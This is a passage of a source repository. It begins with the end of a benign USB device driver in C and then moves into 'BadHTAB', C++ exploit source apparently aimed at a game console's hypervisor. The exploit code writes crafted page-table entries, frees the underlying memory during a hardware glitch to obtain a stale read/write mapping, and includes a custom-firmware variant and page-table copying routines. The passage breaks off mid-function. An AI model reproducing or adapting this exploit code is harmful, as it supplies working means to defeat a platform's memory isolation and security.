*pkt) { 324 | // We can't set the hardware device address yet because we still need to 325 | // acknowledge the request using a device address of zero. So, we store 326 | // new the address temporarily and later set it in the ep0_in_handler. 327 | device_address = (pkt->wValue & 0xff); 328 | should_set_address = true; 329 | } 330 | 331 | // Send device descriptor to host 332 | void usb_send_device_descriptor(volatile struct usb_setup_packet *pkt) { 333 | const struct usb_device_descriptor *dd = device.device_descriptor; 334 | uint16_t len = MIN(sizeof(struct usb_device_descriptor), pkt->wLength); 335 | usb_get_endpoint(EP0_IN_ADDR)->next_datapid = 1; // Reset to DATA1 336 | usb_start_transfer(usb_get_endpoint(EP0_IN_ADDR), (uint8_t *) dd, len); 337 | } 338 | 339 | // Send config descriptor to host 340 | void usb_send_config_descriptor(volatile struct usb_setup_packet *pkt) { 341 | uint8_t *buf = ep0_buf; 342 | 343 | // Always include the config descriptor 344 | const struct usb_configuration_descriptor *cd = device.config_descriptor; 345 | memcpy((void *) buf, cd, sizeof(struct usb_configuration_descriptor)); 346 | buf += sizeof(struct usb_configuration_descriptor); 347 | 348 | // If more than the config descriptor is requested, send everything 349 | if (pkt->wLength >= cd->wTotalLength) { 350 | memcpy((void *) buf, device.interface_descriptor, 351 | sizeof(struct usb_interface_descriptor)); 352 | buf += sizeof(struct usb_interface_descriptor); 353 | 354 | // Copy all the endpoint descriptors starting from EP1 355 | const struct usb_endpoint *ep = device.endpoints; 356 | for (uint i = 2; i < USB_NUM_ENDPOINTS; i++) { 357 | if (ep[i].descriptor) { 358 | memcpy((void *) buf, ep[i].descriptor, 359 | sizeof(struct usb_endpoint_descriptor)); 360 | buf += sizeof(struct usb_endpoint_descriptor); 361 | } 362 | } 363 | } 364 | 365 | // TODO: Fix so we can send more than 64 bytes at a time 366 | uint32_t len = (uint32_t) buf - (uint32_t) ep0_buf; 367 | len = MIN(len, pkt->wLength); 368 | usb_start_transfer(usb_get_endpoint(EP0_IN_ADDR), ep0_buf, len); 369 | } 370 | 371 | // Helper to convert a C string to a unicode string descriptor 372 | uint8_t usb_prepare_string_descriptor(const unsigned char *str) { 373 | uint8_t bLength = 2 + (strlen((const char *) str) * 2); 374 | uint8_t bDescriptorType = 0x03; 375 | uint8_t ch; 376 | 377 | volatile uint8_t *buf = ep0_buf; 378 | *buf++ = bLength; 379 | *buf++ = bDescriptorType; 380 | do { 381 | ch = *str++; 382 | *buf++ = ch; 383 | *buf++ = 0; 384 | } while (ch); 385 | 386 | return bLength; 387 | } 388 | 389 | // Send string descriptor to host 390 | void usb_send_string_descriptor(volatile struct usb_setup_packet *pkt) { 391 | uint8_t i = pkt->wValue & 0xff; 392 | uint8_t len = 0; 393 | 394 | if (i == 0) { 395 | len = 4; 396 | memcpy(ep0_buf, device.lang_descriptor, len); 397 | } else { 398 | // Prepare fills in ep0_buf 399 | len = usb_prepare_string_descriptor(device.descriptor_strings[i - 1]); 400 | } 401 | 402 | // TODO: Fix so we can send more than 64 bytes at a time 403 | len = MIN(len, pkt->wLength); 404 | usb_start_transfer(usb_get_endpoint(EP0_IN_ADDR), ep0_buf, len); 405 | } 406 | 407 | // Send configuration value to host 408 | void usb_send_configuration(volatile struct usb_setup_packet *pkt) { 409 | usb_start_transfer(usb_get_endpoint(EP0_IN_ADDR), 410 | (uint8_t *) &config_descriptor.bConfigurationValue, 411 | sizeof(config_descriptor.bConfigurationValue)); 412 | } 413 | 414 | // Handle SET_CONFIGURATION request from host 415 | void usb_set_device_configuration(volatile struct usb_setup_packet *pkt) { 416 | configured = true; 417 | } 418 | 419 | // Respond to a setup packet from host 420 | void usb_handle_setup_packet() { 421 | volatile struct usb_setup_packet *pkt = 422 | (volatile struct usb_setup_packet *) &usb_dpram->setup_packet; 423 | uint8_t brt = pkt->bmRequestType; 424 | uint8_t req = pkt->bRequest; 425 | 426 | // Log the behavior 427 | UartPrint("< Setup"); 428 | hexdump((const void *) pkt, sizeof(struct usb_setup_packet), 2); 429 | 430 | // Force a reset to DATA1 and handle the setup packet 431 | usb_get_endpoint(EP0_IN_ADDR)->next_datapid = 1; 432 | if (brt == USB_DIR_OUT) { // Standard device command 433 | if (req == USB_REQUEST_SET_ADDRESS) { 434 | UartPrint("Set address to %d\n", (pkt->wValue & 0xff)); 435 | usb_set_device_address(pkt); 436 | } else if (req == USB_REQUEST_SET_CONFIGURATION) { 437 | UartPrint("Set configuration to %d\n", (pkt->wValue & 0xff)); 438 | usb_set_device_configuration(pkt); 439 | } else { 440 | UartPrint("Unhandled device command\n"); 441 | } 442 | usb_send_zlp(); 443 | } else if (brt == USB_DIR_IN) { // Standard device request 444 | if (req == USB_REQUEST_GET_DESCRIPTOR) { 445 | uint8_t descriptor_type = pkt->wValue >> 8; 446 | uint8_t index = pkt->wValue & 0xff; 447 | 448 | switch (descriptor_type) { 449 | case USB_DT_DEVICE: 450 | UartPrint("Get device descriptor %d\n", index); 451 | usb_send_device_descriptor(pkt); 452 | break; 453 | case USB_DT_CONFIG: 454 | UartPrint("Get config descriptor %d\n", index); 455 | usb_send_config_descriptor(pkt); 456 | break; 457 | case USB_DT_STRING: 458 | UartPrint("Get string descriptor %d\n", index); 459 | usb_send_string_descriptor(pkt); 460 | break; 461 | default: 462 | UartPrint("Unhandled get descriptor\n"); 463 | } 464 | } else if (req == USB_REQUEST_GET_CONFIGURATION) { 465 | UartPrint("Get configuration\n"); 466 | usb_send_configuration(pkt); 467 | } else { 468 | UartPrint("Unhandled device request\n"); 469 | } 470 | } else { 471 | UartPrint("Unhandled setup packet\n"); 472 | } 473 | } 474 | 475 | // ==[ Buffers ]=============================================================== 476 | 477 | // Notify an endpoint that a transfer has completed 478 | inline static void usb_handle_ep_buff_done(struct usb_endpoint *ep) { 479 | uint32_t buffer_control = *ep->buffer_control; 480 | uint16_t len = buffer_control & USB_BUF_CTRL_LEN_MASK; // Get buffer length 481 | 482 | #if 0 483 | 484 | // TODO: Logging inside an ISR is bad, fix this soon 485 | if (len) { 486 | uint8_t ep_addr = ep->descriptor->bEndpointAddress; 487 | uint8_t ep_num = ep_addr & 0x0f; 488 | bool in = ep_addr & USB_DIR_IN; 489 | 490 | // Show the communication details 491 | UartPrint("%c 0x%02x", in ? '>' : '<', ep_addr); 492 | hexdump((uint8_t *) ep->data_buffer, len, 1); 493 | } 494 | 495 | #endif 496 | 497 | ep->handler((uint8_t *) ep->data_buffer, len); // Call buffer done handler 498 | } 499 | 500 | // Notify the given endpoints that a transfer has completed 501 | static void usb_handle_buff_status() { 502 | uint32_t buffers = usb_hw->buf_status; 503 | uint32_t remaining_buffers = buffers; 504 | uint32_t bit = 1u; 505 | uint8_t ep_addr; 506 | 507 | for (uint i = 0; remaining_buffers && i < USB_NUM_ENDPOINTS * 2; i++) { 508 | if (remaining_buffers & bit) { 509 | usb_hw_clear->buf_status = bit; // Clear this in advance 510 | ep_addr = (i >> 1u) | (i & 1u ? USB_DIR_OUT : USB_DIR_IN); 511 | usb_handle_ep_buff_done(usb_get_endpoint(ep_addr)); 512 | remaining_buffers &= ~bit; 513 | } 514 | bit <<= 1u; 515 | } 516 | } 517 | 518 | // ==[ Resets ]================================================================ 519 | 520 | enum { 521 | USB_SIE_CTRL_BASE = USB_SIE_CTRL_EP0_INT_1BUF_BITS // Interrupt on every buffer 522 | }; 523 | 524 | // Reset USB bus 525 | void usb_bus_reset() { 526 | UartPrint("< Reset\n"); 527 | device_address = 0; // Set address to zero 528 | usb_hw->dev_addr_ctrl = 0; 529 | should_set_address = false; 530 | configured = false; 531 | } 532 | 533 | // Reset USB device 534 | void usb_device_reset() { 535 | 536 | // Reset controller 537 | reset_block (RESETS_RESET_USBCTRL_BITS); 538 | unreset_block_wait(RESETS_RESET_USBCTRL_BITS); 539 | 540 | // Clear state 541 | memset(usb_hw , 0, sizeof(*usb_hw )); 542 | memset(usb_dpram, 0, sizeof(*usb_dpram)); 543 | 544 | // Setup endpoints 545 | usb_setup_endpoints(); 546 | 547 | // Configure USB device controller 548 | usb_hw->muxing = USB_USB_MUXING_TO_PHY_BITS | // Connect USB Phy 549 | USB_USB_MUXING_SOFTCON_BITS ; // TODO: What is this? 550 | usb_hw->pwr = USB_USB_PWR_VBUS_DETECT_BITS | // Enable VBUS detection 551 | USB_USB_PWR_VBUS_DETECT_OVERRIDE_EN_BITS ; // Enable VBUS detection 552 | usb_hw->main_ctrl = USB_MAIN_CTRL_CONTROLLER_EN_BITS ; // Enable controller 553 | usb_hw->sie_ctrl = USB_SIE_CTRL_BASE ; // Default SIE_CTRL bits 554 | usb_hw->inte = USB_INTE_BUS_RESET_BITS | // Bus reset 555 | USB_INTE_SETUP_REQ_BITS | // Setup packet 556 | USB_INTE_BUFF_STATUS_BITS | // Buffer ready 557 | USB_INTE_DEV_SUSPEND_BITS | // Suspend signal 558 | USB_INTE_DEV_RESUME_FROM_HOST_BITS ; // Resume signal 559 | 560 | UartPrint("\nUSB device reset\n\n"); 561 | irq_set_enabled(USBCTRL_IRQ, true); 562 | usb_hw_set->sie_ctrl = USB_SIE_CTRL_PULLUP_EN_BITS; // "Attach" the device 563 | } 564 | 565 | // ==[ Interrupt ]============================================================= 566 | 567 | // Interrupt handler 568 | void isr_usbctrl() { 569 | uint32_t ints = usb_hw->ints; 570 | 571 | // SOF, start of frame 572 | 573 | // Buffer status, one or more buffers have completed 574 | if (ints & USB_INTS_BUFF_STATUS_BITS) { 575 | ints ^= USB_INTS_BUFF_STATUS_BITS; 576 | usb_handle_buff_status(); 577 | } 578 | 579 | // Setup packet received 580 | if (ints & USB_INTS_SETUP_REQ_BITS) { 581 | ints ^= USB_INTS_SETUP_REQ_BITS; 582 | usb_hw_clear->sie_status = USB_SIE_STATUS_SETUP_REC_BITS; 583 | usb_handle_setup_packet(); 584 | } 585 | 586 | // CONN_DIS, device (dis)connected 587 | 588 | // Bus is reset 589 | if (ints & USB_INTS_BUS_RESET_BITS) { 590 | ints ^= USB_INTS_BUS_RESET_BITS; 591 | usb_hw_clear->sie_status = USB_SIE_STATUS_BUS_RESET_BITS; 592 | usb_bus_reset(); 593 | } 594 | 595 | // SUSPEND, bus suspended 596 | 597 | if (ints & USB_INTS_DEV_SUSPEND_BITS) { 598 | ints ^= USB_INTS_DEV_SUSPEND_BITS; 599 | usb_hw_clear->sie_status = USB_SIE_STATUS_SUSPENDED_BITS; 600 | } 601 | 602 | // RESUME, bus resumed 603 | 604 | if (ints & USB_INTS_DEV_RESUME_FROM_HOST_BITS) { 605 | ints ^= USB_INTS_DEV_RESUME_FROM_HOST_BITS; 606 | usb_hw_clear->sie_status = USB_SIE_STATUS_RESUME_BITS; 607 | } 608 | 609 | // Any missed? 610 | if (ints) { 611 | UartPrint("Unhandled IRQ 0x%08x\n", ints); 612 | } 613 | } 614 | 615 | #if 0 616 | 617 | // ==[ Main ]================================================================== 618 | 619 | int main() { 620 | stdio_init_all(); 621 | UartPrint("\033[2J\033[H\n==[ USB device example]==\n\n"); 622 | usb_device_reset(); 623 | 624 | // Wait until configured 625 | while (!configured) { tight_loop_contents(); } 626 | sleep_ms(500); // brief pause 627 | 628 | UartPrint("\nUSB device configured\n\n"); 629 | 630 | // Prepare for up to 64 bytes from host on EP1_OUT 631 | usb_start_transfer(usb_get_endpoint(EP1_OUT_ADDR), NULL, 64); 632 | 633 | // Everything is interrupt driven so just loop here 634 | while (1) { tight_loop_contents(); } 635 | } 636 | 637 | #endif 638 | 639 | bool usb_is_inited() 640 | { 641 | return configured; 642 | } 643 | 644 | void usb_init() 645 | { 646 | UartPrint("usb_init()\n"); 647 | 648 | usb_device_reset(); 649 | 650 | while (!usb_is_inited()) {} 651 | 652 | UartPrint("USB device configured\n"); 653 | 654 | usb_start_transfer(usb_get_endpoint(EP1_OUT_ADDR), NULL, 64); 655 | } -------------------------------------------------------------------------------- /BadHTAB/source/Main.cppold: -------------------------------------------------------------------------------- 1 | #include "Include.h" 2 | 3 | //#define STAGE1_CFW 1 4 | //#define STAGE2_CFW 1 5 | 6 | double fwVersion = 0.0; 7 | 8 | static const uint64_t GameOS_HTAB_EA_Addr = 0x800000000F000000; 9 | static const size_t GameOS_HTAB_SizeInBytes = 0x40000; 10 | 11 | static const uint32_t glitch_htab_begin_idx = 4500; 12 | static const uint32_t glitch_htab_end_idx = 16000; 13 | 14 | HTABE GameOS_HTAB_TmpBuf[HTAB_COUNT]; 15 | 16 | uint64_t CalcHTAB_EA_Addr_By_HtabIdx(uint64_t base, uint32_t htab_idx) 17 | { 18 | return base + (htab_idx * sizeof(HTABE)); 19 | } 20 | 21 | uint64_t CalcGameOSHTAB_EA_Addr_By_HtabIdx(uint32_t htab_idx) 22 | { 23 | return GameOS_HTAB_EA_Addr + (htab_idx * sizeof(HTABE)); 24 | } 25 | 26 | uint32_t FindFreeHTABIdx() 27 | { 28 | uint32_t htab_idx; 29 | 30 | HTABE htabe; 31 | 32 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 33 | { 34 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 35 | 36 | if (!HTABE_IS_VALID(htabe)) 37 | return htab_idx; 38 | } 39 | 40 | PrintLog("Can't find free htab!!!\n"); 41 | abort(); 42 | 43 | return 0; 44 | } 45 | 46 | uint32_t FindBadHTABIdx() 47 | { 48 | uint32_t htab_idx; 49 | 50 | HTABE htabe; 51 | 52 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 53 | { 54 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 55 | 56 | if (HTABE_IS_VALID(htabe) && (HTABE_GET_VA(htabe) & SPECIAL_VA_MASK) == SPECIAL_VA) 57 | return htab_idx; 58 | } 59 | 60 | PrintLog("Can't find bad htab!!!\n"); 61 | abort(); 62 | 63 | return 0; 64 | } 65 | 66 | bool FoundBadHTABIdx() 67 | { 68 | uint32_t htab_idx; 69 | 70 | HTABE htabe; 71 | 72 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 73 | { 74 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 75 | 76 | if (HTABE_IS_VALID(htabe) && (HTABE_GET_VA(htabe) & SPECIAL_VA_MASK) == SPECIAL_VA) 77 | return true; 78 | } 79 | 80 | return false; 81 | } 82 | 83 | void FindFirstLargestConsecutiveFreeHtabIdx(uint32_t *outIdx, uint32_t *outCount) 84 | { 85 | uint32_t curLargestConsecutiveFreeCount = 0; 86 | uint32_t curLargestConsecutiveFreeFirstIdx = 0; 87 | 88 | uint32_t curFreeCount = 0; 89 | uint32_t curFreeFirstIdx = 0; 90 | 91 | HTABE htabe; 92 | 93 | uint32_t htab_idx; 94 | 95 | for (htab_idx = 0; htab_idx < HTAB_COUNT; htab_idx++) 96 | { 97 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 98 | 99 | if (HTABE_IS_VALID(htabe)) 100 | { 101 | curFreeCount = 0; 102 | continue; 103 | } 104 | 105 | if (curFreeCount == 0) 106 | curFreeFirstIdx = htab_idx; 107 | 108 | curFreeCount++; 109 | 110 | if (curFreeCount > curLargestConsecutiveFreeCount) 111 | { 112 | curLargestConsecutiveFreeCount = curFreeCount; 113 | curLargestConsecutiveFreeFirstIdx = curFreeFirstIdx; 114 | } 115 | } 116 | 117 | if (outIdx) 118 | *outIdx = curLargestConsecutiveFreeFirstIdx; 119 | 120 | if (outCount) 121 | *outCount = curLargestConsecutiveFreeCount; 122 | } 123 | 124 | void PrintSingleHTAB(const HTABE* htab) 125 | { 126 | PrintLog("0x%016lx => 0x%016lx %d (%d:%d:%d:%d:%d:%d:%d) 0x%016lx, 0x%016lx\n", 127 | (uint64_t)HTABE_GET_VA((*htab)), (uint64_t)HTABE_GET_RA((*htab)), 128 | (uint32_t)htab->V, (uint32_t)htab->L, (uint32_t)htab->W, 129 | (uint32_t)htab->I, (uint32_t)htab->M, (uint32_t)htab->G, 130 | (uint32_t)htab->N, (uint32_t)htab->PP, htab->Num[0], htab->Num[1]); 131 | } 132 | 133 | void PrintHTABBase(uint64_t base) 134 | { 135 | PrintLog("PrintHTABBase()...\n"); 136 | 137 | static const uint64_t dumpSize = GameOS_HTAB_SizeInBytes; 138 | uint64_t dumpAddr = base; 139 | 140 | static const uint32_t htabCount = HTAB_COUNT; 141 | 142 | uint8_t* buf = (uint8_t*)malloc(dumpSize); 143 | 144 | lv2_read(dumpAddr, dumpSize, buf); 145 | 146 | HTABE* htab = (HTABE *)buf; 147 | 148 | PrintLog(" Virtual Address Real Address V L W I M G N PP Num1 Num2\n"); 149 | 150 | for (uint32_t htab_idx = 0; htab_idx < htabCount; htab_idx++) 151 | { 152 | PrintLog("%u) 0x%016lx => 0x%016lx %d (%d:%d:%d:%d:%d:%d:%d) 0x%016lx, 0x%016lx\n", 153 | htab_idx, (uint64_t)HTABE_GET_VA(htab[htab_idx]), (uint64_t)HTABE_GET_RA(htab[htab_idx]), 154 | (uint32_t)htab[htab_idx].V, (uint32_t)htab[htab_idx].L, (uint32_t)htab[htab_idx].W, 155 | (uint32_t)htab[htab_idx].I, (uint32_t)htab[htab_idx].M, (uint32_t)htab[htab_idx].G, 156 | (uint32_t)htab[htab_idx].N, (uint32_t)htab[htab_idx].PP, htab[htab_idx].Num[0], htab[htab_idx].Num[1]); 157 | } 158 | 159 | free(buf); 160 | } 161 | 162 | void PrintHTAB() 163 | { 164 | PrintLog("PrintHTAB()...\n"); 165 | 166 | PrintHTABBase(GameOS_HTAB_EA_Addr); 167 | } 168 | 169 | void PrintHTABBaseValidOnly(uint64_t base) 170 | { 171 | PrintLog("PrintHTABBaseValidOnly()...\n"); 172 | 173 | static const uint64_t dumpSize = GameOS_HTAB_SizeInBytes; 174 | uint64_t dumpAddr = base; 175 | 176 | static const uint32_t htabCount = HTAB_COUNT; 177 | 178 | uint8_t* buf = (uint8_t*)malloc(dumpSize); 179 | 180 | lv2_read(dumpAddr, dumpSize, buf); 181 | 182 | HTABE* htab = (HTABE *)buf; 183 | 184 | PrintLog(" Virtual Address Real Address V L W I M G N PP Num1 Num2\n"); 185 | 186 | for (uint32_t htab_idx = 0; htab_idx < htabCount; htab_idx++) 187 | { 188 | if (!HTABE_IS_VALID(htab[htab_idx])) 189 | continue; 190 | 191 | PrintLog("%u) 0x%016lx => 0x%016lx %d (%d:%d:%d:%d:%d:%d:%d) 0x%016lx, 0x%016lx\n", 192 | htab_idx, (uint64_t)HTABE_GET_VA(htab[htab_idx]), (uint64_t)HTABE_GET_RA(htab[htab_idx]), 193 | (uint32_t)htab[htab_idx].V, (uint32_t)htab[htab_idx].L, (uint32_t)htab[htab_idx].W, 194 | (uint32_t)htab[htab_idx].I, (uint32_t)htab[htab_idx].M, (uint32_t)htab[htab_idx].G, 195 | (uint32_t)htab[htab_idx].N, (uint32_t)htab[htab_idx].PP, htab[htab_idx].Num[0], htab[htab_idx].Num[1]); 196 | } 197 | 198 | free(buf); 199 | } 200 | 201 | void PrintHTABValidOnly() 202 | { 203 | PrintLog("PrintHTABValidOnly()...\n"); 204 | 205 | PrintHTABBaseValidOnly(GameOS_HTAB_EA_Addr); 206 | } 207 | 208 | void Stage1() 209 | { 210 | PrintLog("Stage1...\n"); 211 | 212 | if (FoundBadHTABIdx()) 213 | { 214 | PrintLog("Already have bad htab, skipping...\n"); 215 | return; 216 | } 217 | 218 | uint64_t loopCount = 0; 219 | 220 | uint32_t writeCount = 0; 221 | uint32_t readCount = 0; 222 | 223 | while (1) 224 | { 225 | bool stop = false; 226 | 227 | int32_t res; 228 | 229 | uint64_t lpar_addr; 230 | uint64_t muid; 231 | 232 | res = lv1_allocate_memory(SIZE_4KB, EXP_4KB, 0, 0, &lpar_addr, &muid); 233 | 234 | if (res != 0) 235 | { 236 | PrintLog("lv1_allocate_memory failed, res = %d\n", res); 237 | 238 | abort(); 239 | return; 240 | } 241 | 242 | { 243 | HTABE htabe; 244 | 245 | uint32_t htab_idx; 246 | 247 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 248 | { 249 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 250 | 251 | if (HTABE_IS_VALID(htabe)) 252 | continue; 253 | 254 | htabe_set_lpar(&htabe, 255 | CALC_SPECIAL_VA(SPECIAL_VA, htab_idx), SPECIAL_VA_FLAGS_VALID, 256 | lpar_addr, SPECIAL_RA_FLAGS_READWRITE); 257 | 258 | res = lv1_write_htab_entry(0, htab_idx, htabe.Num[0], htabe.Num[1]); 259 | 260 | if (res != 0) 261 | { 262 | PrintLog("lv1_write_htab_entry failed, htab_idx = %u, num0 = %lx, num1 = %lx, res = %d\n", 263 | htab_idx, htabe.Num[0], htabe.Num[1], res); 264 | } 265 | 266 | writeCount++; 267 | } 268 | } 269 | 270 | // We should do memory glitch at this line 271 | // Sadly this is very painful on GameOS because unlike linux version 272 | // They can halt everything except exploit itself 273 | // This is not possible here, so we end up corrupt many things in the process 274 | res = lv1_release_memory(lpar_addr); 275 | 276 | if (res != 0) 277 | { 278 | PrintLog("lv1_release_memory failed, res = %d\n", res); 279 | 280 | abort(); 281 | return; 282 | } 283 | 284 | { 285 | HTABE htabe; 286 | 287 | uint32_t htab_idx; 288 | 289 | uint32_t count = 0; 290 | 291 | for (htab_idx = glitch_htab_begin_idx; htab_idx < glitch_htab_end_idx; htab_idx++) 292 | { 293 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 294 | 295 | if ((HTABE_GET_VA(htabe) & SPECIAL_VA_MASK) == SPECIAL_VA) 296 | readCount++; 297 | 298 | if (!HTABE_IS_VALID(htabe) || (HTABE_GET_VA(htabe) & SPECIAL_VA_MASK) != SPECIAL_VA) 299 | continue; 300 | 301 | PrintLog("Bad HTAB found!!!, htab_idx = %u\n", htab_idx); 302 | 303 | if (count == 0) 304 | { 305 | lv2_beep_triple(); 306 | Sleep(1); 307 | lv2_beep_triple(); 308 | Sleep(2); 309 | lv2_beep_triple(); 310 | Sleep(2); 311 | lv2_beep_triple(); 312 | Sleep(2); 313 | } 314 | 315 | PrintSingleHTAB(&htabe); 316 | 317 | count++; 318 | stop = true; 319 | } 320 | } 321 | 322 | if (stop) 323 | { 324 | //PrintHTAB(); 325 | break; 326 | } 327 | 328 | loopCount++; 329 | 330 | if ((loopCount % 5) == 0) 331 | { 332 | PrintLog("still alive... %lu, writeCount = %u, readCount = %u, delta = %d\n", loopCount, writeCount, readCount, (writeCount - readCount)); 333 | 334 | lv2_beep_single(); 335 | 336 | writeCount = 0; 337 | readCount = 0; 338 | } 339 | } 340 | } 341 | 342 | // CFW don't need glitching 343 | // requires lv1 htab write protection patch 344 | void Stage1_CFW() 345 | { 346 | PrintLog("Stage1_CFW()\n"); 347 | 348 | if (FoundBadHTABIdx()) 349 | { 350 | PrintLog("Already have bad htab, skipping...\n"); 351 | return; 352 | } 353 | 354 | int32_t res; 355 | 356 | uint64_t old_vas_id; 357 | 358 | res = lv1_get_virtual_address_space_id_of_ppe(PPE_ID0, &old_vas_id); 359 | 360 | if (res != 0) 361 | { 362 | PrintLog("lv1_get_virtual_address_space_id_of_ppe failed!!!, res = %d\n", res); 363 | 364 | abort(); 365 | return; 366 | } 367 | 368 | PrintLog("old_vas_id = %lu\n", old_vas_id); 369 | 370 | uint64_t old_htab_lpar_addr = 0; 371 | res = lv1_map_htab(old_vas_id, &old_htab_lpar_addr); 372 | 373 | if (res != 0) 374 | { 375 | PrintLog("lv1_map_htab failed!!!, res = %d\n", res); 376 | 377 | abort(); 378 | return; 379 | } 380 | 381 | PrintLog("old_htab_lpar_addr = 0x%lx\n", old_htab_lpar_addr); 382 | 383 | uint64_t old_htab_ea = 0x8000000014000000ul; 384 | map_lpar_to_lv2_ea(old_htab_lpar_addr, old_htab_ea, GameOS_HTAB_SizeInBytes, false, false); 385 | 386 | uint64_t lpar_addr; 387 | uint64_t muid; 388 | 389 | res = lv1_allocate_memory(SIZE_256KB, EXP_256KB, 0, 0, &lpar_addr, &muid); 390 | 391 | if (res != 0) 392 | { 393 | PrintLog("lv1_allocate_memory failed, res = %d\n", res); 394 | 395 | abort(); 396 | return; 397 | } 398 | 399 | PrintLog("lpar_addr = 0x%lx\n", lpar_addr); 400 | 401 | uint32_t htab_idx = FindFreeHTABIdx(); 402 | 403 | { 404 | HTABE htabe; 405 | 406 | htabe_set_lpar(&htabe, 407 | CALC_SPECIAL_VA(SPECIAL_VA, htab_idx), SPECIAL_VA_FLAGS_VALID, 408 | lpar_addr, SPECIAL_RA_FLAGS_READWRITE); 409 | 410 | res = lv1_write_htab_entry(0, htab_idx, htabe.Num[0], htabe.Num[1]); 411 | 412 | if (res != 0) 413 | { 414 | PrintLog("lv1_write_htab_entry failed, htab_idx = %u, num0 = %lx, num1 = %lx, res = %d\n", 415 | htab_idx, htabe.Num[0], htabe.Num[1], res); 416 | 417 | abort(); 418 | } 419 | } 420 | 421 | res = lv1_release_memory(lpar_addr); 422 | 423 | if (res != 0) 424 | { 425 | PrintLog("lv1_release_memory failed, res = %d\n", res); 426 | 427 | abort(); 428 | return; 429 | } 430 | 431 | { 432 | HTABE htabe; 433 | 434 | lv2_read(CalcHTAB_EA_Addr_By_HtabIdx(old_htab_ea, htab_idx), sizeof(HTABE), &htabe); 435 | PrintSingleHTAB(&htabe); 436 | 437 | htabe.V = 1; 438 | lv2_write(CalcHTAB_EA_Addr_By_HtabIdx(old_htab_ea, htab_idx), sizeof(HTABE), &htabe); 439 | PrintSingleHTAB(&htabe); 440 | } 441 | 442 | res = lv1_unmap_htab(old_htab_lpar_addr); 443 | 444 | if (res != 0) 445 | { 446 | PrintLog("lv1_unmap_htab failed!!!, res = %d\n", res); 447 | 448 | abort(); 449 | return; 450 | } 451 | 452 | PrintLog("Bad HTAB Idx = %u, htab_idx = %u\n", FindBadHTABIdx(), htab_idx); 453 | 454 | PrintLog("Stage1_CFW done\n"); 455 | } 456 | 457 | void copy_htab_to_new_vas(uint64_t destVasID, uint64_t destHtabLpar, uint64_t destHtabRA, 458 | uint64_t srcHtabLpar, uint64_t srcHtabRA) 459 | { 460 | PrintLog("copy_htab_to_new_vas()\n"); 461 | 462 | int32_t res; 463 | 464 | uint32_t writeCount = 0; 465 | uint32_t shouldWriteCount = 0; 466 | uint32_t successWriteCount = 0; 467 | 468 | uint64_t ea; 469 | uint64_t ra; 470 | uint64_t my_lpar; 471 | 472 | HTABE* dest_htab = (HTABE*)0x8000000014000000ul; 473 | map_lpar_to_lv2_ea(destHtabLpar, (uint64_t)dest_htab, GameOS_HTAB_SizeInBytes, true, false); 474 | 475 | uint32_t htab_idx; 476 | uint32_t slb_idx; 477 | 478 | HTABE htabe; 479 | 480 | slb_read_all_entries(); 481 | 482 | for (htab_idx=1; htab_idx < HTAB_COUNT; htab_idx++) 483 | { 484 | lv2_read(CalcGameOSHTAB_EA_Addr_By_HtabIdx(htab_idx), sizeof(HTABE), &htabe); 485 | 486 | if(!HTABE_IS_VALID(htabe)) 487 | continue; 488 | 489 | shouldWriteCount++; 490 | 491 | ea = 0xFFFFFFFFFFFFFFFF; 492 | 493 | for (slb_idx=0; slb_idx < SLB_COUNT; slb_idx++) 494 | { 495 | if(SLBE_IS_VALID(SLB[slb_idx]) && 496 | SLBE_GET_VA(SLB[slb_idx]) == (HTABE_GET_VA(htabe)&0xFFFFFFFFFFFFF000)) 497 | { 498 | ea = SLBE_GET_EA(SLB[slb_idx]); 499 | } 500 | } 501 | 502 | if(ea == 0xFFFFFFFFFFFFFFFF || 503 | ea == SPECIAL_EA) 504 | continue; 505 | 506 | if(htabe.L) 507 | ra = htabe.Num[1] & 0xFFFFFFFFFFFFF000; 508 | else 509 | ra = HTABE_GET_RA(htabe); 510 | 511 | my_lpar = 0xFFFFFFFFFFFFFFFF; 512 | 513 | if(ra >= 0x01000000 && ra < 0x10000000) 514 | { 515 | if(ra >= 0x08000000) { 516 | my_lpar = (ra-0x08000000); 517 | } else { 518 | my_lpar = 0x6c0058000000 | (ra-0x01000000); 519 | } 520 | } 521 | else if((ra&0xFFFFFFFFFFF00000) == srcHtabRA) 522 | my_lpar = srcHtabLpar + (ra-srcHtabRA); 523 | else if((ra&0xFFFFFFFFFFF00000) == destHtabRA) 524 | my_lpar = destHtabLpar + (ra-destHtabRA); 525 | 526 | else if( ra == 0x3e0000 ) 527 | my_lpar = 0x4000001a0000; 528 | else if( ra == 0x3e1000 ) 529 | my_lpar = 0x4000001a1000; 530 | else if( ra == 0x8d3000 ) 531 | my_lpar = 0x30000000e000; 532 | else if( ra == 0x8dd000 ) 533 | my_lpar = 0x300000010000; 534 | else if( ra == 0x202000 ) 535 | my_lpar = 0x300000012000; 536 | else if( ra == 0x203000 ) 537 | my_lpar = 0x300000014000; 538 | else if( ra == 0x3ac000 ) 539 | my_lpar = 0x300000016000; 540 | else if( ra == 0x3ad000 ) 541 | my_lpar = 0x300000018000; 542 | else if( ra >= 0x28000080000 && ra < 0x28000088000 ) 543 | my_lpar = 0x3c0000108000 + (ra-0x28000080000); 544 | 545 | if(my_lpar == 0xFFFFFFFFFFFFFFFF) 546 | { 547 | continue; 548 | } 549 | 550 | res = lv1_write_htab_entry( 551 | destVasID, htab_idx, htabe.Num[0], my_lpar|(htabe.Num[1]&0xFFF)); 552 | 553 | writeCount++; 554 | 555 | if (res != 0) 556 | { 557 | PrintLog("lv1_write_htab_entry failed, htab_idx = %u, res = %d\n", 558 | htab_idx, res); 559 | } 560 | 561 